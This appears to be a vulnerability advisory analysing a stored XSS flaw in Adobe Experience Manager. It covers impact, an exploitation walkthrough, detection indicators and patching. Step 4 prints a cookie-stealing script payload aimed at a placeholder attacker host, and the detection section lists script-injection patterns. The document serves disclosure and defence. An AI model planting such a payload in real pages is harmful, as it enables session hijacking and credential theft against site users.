CVE-2026-27262: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2026-27262 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows authenticated attackers with low privileges to inject malicious scripts into vulnerable form fields. Affected versions include AEM 6.5.23 and earlier (all versions before 6.5.24.0) and AEM Cloud Service versions prior to 2026.2.0. Adobe disclosed and patched this vulnerability on March 10–11, 2026. It carries a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting) and stems from insufficient sanitization of user-supplied input in AEM form fields. An authenticated attacker with low-level privileges can store a malicious JavaScript payload in a vulnerable field; the script executes in the browser of any user who subsequently visits the affected page. Exploitation requires network access, low privileges, and victim user interaction (browsing to the page containing the injected payload), with a changed scope indicating the impact crosses the security boundary of the originating application (Adobe Advisory, Feedly).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session within AEM, potentially leading to session hijacking, credential theft, unauthorized actions performed on behalf of the victim, and exfiltration of sensitive data accessible to the victim's account. The changed scope means the impact extends beyond the attacker's own session to affect other users of the platform. Confidentiality and integrity are both assessed as low impact, with no direct availability impact (Adobe Advisory).

1. Reconnaissance: Identify AEM instances running versions 6.5.23 or earlier, or AEM Cloud Service prior to 2026.2.0, using web fingerprinting tools or by inspecting HTTP response headers and login pages.
2. Authentication: Obtain or use existing low-privilege credentials to authenticate to the target AEM instance.
3. Identify vulnerable form fields: Navigate to AEM content authoring or form components that accept and store user input without adequate output encoding.
4. Inject XSS payload: Submit a crafted stored XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the vulnerable form field and save/publish the content.
5. Trigger execution: Wait for or socially engineer a higher-privileged victim user to browse to the page containing the injected payload, causing the malicious script to execute in their browser context.
6. Harvest results: Collect exfiltrated session tokens, credentials, or other sensitive data from the attacker-controlled server to enable session hijacking or further unauthorized actions (Adobe Advisory).

• Logs: AEM access logs showing POST requests to content authoring or form endpoints containing suspicious script tags or encoded JavaScript payloads (e.g., %3Cscript%3E, javascript:, onerror=).
• Logs: AEM error or audit logs recording unexpected content modifications by low-privilege accounts, particularly to published pages or form components.
• Network: Outbound HTTP requests from victim browsers to unknown external domains shortly after visiting AEM-hosted pages, potentially carrying cookie or session data as query parameters.
• File System / Content Repository: Presence of <script> tags or JavaScript event handlers (e.g., onload, onerror, onclick) within stored AEM content nodes or JCR repository entries that are not part of legitimate authored content.

Adobe has released patches addressing this vulnerability: AEM on-premise users should upgrade to version 6.5.24.0 or later, and AEM Cloud Service users should ensure they are on release 2026.2.0 or later. No specific configuration-based workaround has been published; upgrading to the patched version is the recommended remediation. As an interim measure, organizations should restrict access to AEM authoring environments to trusted users only and implement network segmentation to limit exposure of AEM instances (Adobe Advisory, CIS Advisory).

The Center for Internet Security (CIS) issued an advisory noting that multiple vulnerabilities in Adobe products, including this one, could allow for arbitrary code execution, recommending prompt patching (CIS Advisory). Tenable flagged the vulnerability in their plugin pipeline shortly after disclosure. No significant independent researcher commentary or notable social media discussion has been identified beyond standard vulnerability aggregator coverage.